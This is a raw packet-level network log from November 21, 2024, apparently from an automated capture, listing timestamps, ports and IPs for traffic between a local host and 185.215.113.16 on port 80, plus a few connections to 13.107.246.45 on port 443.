Nov 21, 2024 07:10:38.007527113 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007538080 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007540941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007566929 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007580042 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007584095 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007601976 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007627010 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007630110 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007646084 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007664919 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007672071 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007683039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007709980 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007710934 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007730961 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007734060 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007752895 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007754087 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007766962 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007771015 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007792950 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007828951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007843971 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007864952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007868052 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007884026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007888079 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007915020 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007925034 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007931948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007946968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007966042 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007968903 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.007985115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.007994890 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.008003950 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.008003950 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.008028030 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.008260012 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.114617109 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:38.117789984 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:38.118774891 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:38.119048119 CET	49840	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:38.119064093 CET	443	49840	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:38.128314972 CET	49854	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:38.128356934 CET	443	49854	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:38.128426075 CET	49854	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:38.133183956 CET	49854	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:38.133199930 CET	443	49854	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:38.140501022 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.140558958 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.140662909 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.140723944 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.140877008 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.140980005 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.140985966 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.141206026 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.141727924 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.141794920 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.141833067 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.142674923 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.142719984 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.142765999 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.143606901 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.143713951 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.143759012 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.144587040 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.144640923 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.144690990 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.144732952 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.145595074 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.145646095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.145677090 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.145761967 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.146580935 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.146636009 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.146702051 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.146740913 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.147526026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.147608995 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.147656918 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.148515940 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.148633957 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.149478912 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.149506092 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.149590969 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.149619102 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.149755001 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.150485039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.150604963 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.150667906 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.151489019 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.151540041 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.151576996 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.151614904 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.152477026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.152544975 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.152595997 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.153449059 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.153455973 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.153577089 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.153615952 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.153637886 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.154436111 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.154478073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.154489040 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.154839993 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.155524015 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.155560970 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.155628920 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.155749083 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.156409025 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.156522036 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.156569958 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.157392025 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.157489061 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.157531977 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.158421040 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.158474922 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.158549070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.159358978 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.159497976 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.159531116 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.159552097 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.160347939 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.160398960 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.160552979 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.160618067 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.161329985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.161371946 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.161451101 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.161544085 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.162292004 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.162338972 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.162406921 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.162445068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.163306952 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.163362026 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.163467884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.164278984 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.164325953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.164376020 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.164483070 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.165278912 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.165326118 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.165453911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.165494919 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.166232109 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.166353941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.166397095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.167227030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.167357922 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.167772055 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.168210030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.168323040 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.169238091 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.169270992 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.169313908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.169357061 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.170253038 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.170370102 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.171169996 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.171215057 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.171269894 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.172148943 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.172209024 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.172270060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.173137903 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.173188925 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.173275948 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.173360109 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.174141884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.174318075 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.175100088 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.175152063 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.175720930 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.175826073 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.176117897 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.176227093 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.176270962 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.177139997 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.177242994 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.177293062 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.178628922 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.178646088 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.178694010 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.178709984 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.179044008 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.179157972 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.179160118 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.179233074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.180036068 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.180159092 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.180186033 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.180309057 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.181086063 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.181169033 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.181222916 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.181989908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.182092905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.182137966 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.185292006 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.185307026 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.185415030 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.185436964 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.185453892 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.185467005 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.185477018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.185481071 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.185507059 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.185528040 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.186053991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.186233044 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.186249971 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.186275959 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.186938047 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.187252998 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.187289953 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.187304974 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.188129902 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.188146114 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.188179970 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.188199043 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.189013004 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.189167976 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.189214945 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.190227985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.190324068 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.190383911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.190429926 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.191102982 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.191150904 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.191246986 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.191761971 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.191893101 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.191984892 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.332823038 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.332904100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.333189964 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.333297968 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.333321095 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.333362103 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.334181070 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.334271908 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.334341049 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.335151911 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.335266113 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.336276054 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.336345911 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.336405993 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.337141037 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.337213993 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.337277889 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.338078022 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.338191032 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.338247061 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.339056969 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.339175940 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.339221001 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.340117931 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.340174913 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.340187073 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.341039896 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.341094017 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.341151953 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.341207981 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.342019081 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.342155933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.342206955 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.343069077 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.343210936 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.343281984 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.344002962 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.344187975 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.345005035 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.345062971 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.345120907 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.345288992 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.345978022 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.346090078 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.346956968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.347017050 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.347054005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.347927094 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.348051071 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.348097086 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.348928928 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.349052906 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.349091053 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.349915028 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.350055933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.350888968 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.350964069 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.351088047 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.351887941 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.352005959 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.352066040 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.352926970 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.353004932 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.353055000 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.353842974 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.353967905 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.354815960 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.354865074 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.354953051 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.355828047 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.355870008 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.356044054 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.356821060 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.356863976 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.357004881 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.357286930 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.357798100 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.357922077 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.358768940 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.358829975 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.358867884 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.359746933 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.359847069 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.359915018 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.360738039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.360784054 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.360830069 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.361219883 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.361718893 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.361932039 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.362693071 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.362770081 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.362817049 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.363749981 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.363862991 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.363907099 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.364715099 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.364836931 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.364886999 CET	49828	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:38.365664005 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.365780115 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.366631985 CET	80	49828	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:38.366692066 CET	49828	80	192.168.2.4	185.215.113.16
